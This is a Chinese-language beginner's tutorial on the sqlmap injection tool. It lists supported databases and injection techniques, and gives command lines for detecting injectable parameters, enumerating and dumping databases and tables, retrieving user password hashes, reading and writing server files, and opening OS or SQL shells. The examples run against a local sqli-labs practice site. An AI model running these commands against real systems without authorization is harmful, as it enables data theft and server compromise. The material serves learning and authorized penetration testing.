sqlmap支持的数据库
- MySql
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
Sqlmap支持的sql注入技术
- 基于布尔类型的盲注:可以根据返回页面判断条件真假的注入
- 基于时间的盲注:不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断。
- 基于报错的注入:页面会返回报错信息,或把注入语句的返回结果直接返回到页面中显示
- 联合查询注入:union select
- 堆叠查询注入:可以同时执行多条sql语句
Sqlmap基本命令
- 判断是否存在注入,如果?后参数有多个则url需要加""
python sqlmap.py -u “url”
- 判断文本中的请求是否存在注入
python sqlmap.py -r 1.txt //1.txt为web请求数据包
- 查询当前用户下的所有数据库
python sqlmap.py -u “url” --dbs
- 获取数据库中的表明
python sqlmap.py -u “url” -D databaseNmae --tables
- 获取表中的字段名
python sqlmap.py -u “url” -D databaseName -T tableName --columns
- 获取字段内容
python sqlmap.py -u “url” -D 数据库名 -T 表名 -C 列名 --dump
- 获取数据库的所有用户
python sqlmap.py -u “url” --users
- 获取数据库用户的密码
python sqlmap.py -u “url” --password
- 获取当前网站的数据库的名称
python sqlmap.py -u “url” --current-db
10.获取当前网站数据库的用户名
python sqlmap.py -u “url” --current-user
sqlmap进阶
-
–level 5:探测等级
sqlmap支持5个等级的测试,5级payload最多,1级payload最少,不加–level x则默认是1。 -
–is-dba:当前用户是否为管理权限
-
–roles:列出数据库管理用角色
例如:python2 sqlmap.py -u http://sql/Less-2/?id=1 --roles ,如果当前用户权限足够,那么这条命令可以查看数据库用户的角色。我从书上看到的是该命令只能用于oracle数据库,但是我本地搭建的sqli-labs用的是mysql数据库,也能用这条命令。此外,可以使用 -U参数指定查看哪一个用户的角色。 -
–referer:HTTP Refer头
当sqlmap的 --level x,x>=3时,会尝试对referer来注入,可以尝试使用–referer http://www.baidu.com 之类的进行欺骗。 -
–sql-shell:运行自定义sql语句
可以通过python2 sqlmap.py -u http://sql/Less-2/?id=1 --sql-shell这样的语句来打开一个如下sql语句输入的地方。
-
–os-cmd,–os-shell:运行任意操作系统命令
菜鸟还没有学会,只是知道可以这么用。 -
–file-read:从数据库服务器中读取文件
-
–file-write–file-dest:上传文件到数据库服务器中